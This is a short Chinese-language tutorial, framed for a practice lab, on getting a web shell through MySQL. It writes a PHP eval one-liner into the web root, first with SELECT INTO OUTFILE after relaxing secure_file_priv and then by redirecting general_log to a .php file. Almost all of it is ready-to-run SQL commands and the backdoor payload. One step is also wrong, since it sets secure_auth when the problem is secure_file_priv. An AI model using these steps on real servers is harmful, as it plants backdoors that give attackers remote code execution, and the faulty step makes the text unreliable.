第一种:直接写入一句话木马的形式:
前提条件:
1、root权限
2、知道网站的绝对路径
3、secure_file_priv设置为空
1.1查看mysql的用户,查看是否有root用户
SELECT user FROM mysql.user;
1.2网站的绝对路径,一般是通过信息收集而来,例如:红日靶场
1.3
查看数据库有没有写文件的权力:
show variables like"secure%";
如果是ON需要进行关闭才行:
set global secure_auth='off';
注意:
1.secure_file_priv = NULL ,限制文件的读取和写入。
2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。
3.secure_file_priv= “”, 对文件和读取和写入没有任何限制。
这里我们将NULL修改为空,再进行get shell的操作:(仅针对靶机环境!!!)
如果file_priv为null则无权限,需要进行如下操作。
在my.ini()中添加
secure_file_priv=""
注意:MySQL配置文件是分块的,必须写在 [mysqld]下面,否则会导致无法启动
(Linux my.cnf 设置 secure_file_priv="/")
重启MySQL和Apache服务即可
写入shell,需要知道网站路径的!!
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/phpStudy/WWW/shell.php';
使用蚁剑进行连接即可获取shell。
第二种:通过日志进行写入
1、查看当前日志文件:
SHOW VARIABLES LIKE 'general%';
general_log是OFF,表示日志记录是关闭的。
2、开启日志记录:
set global general_log = "ON";
3、更改日志文件路径:
set global general_log_file='C:\\phpStudy\\WWW\\shell2.php'
访问写入的文件,可以正常显示,文件写入成功。
4、往日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';
成功获取shell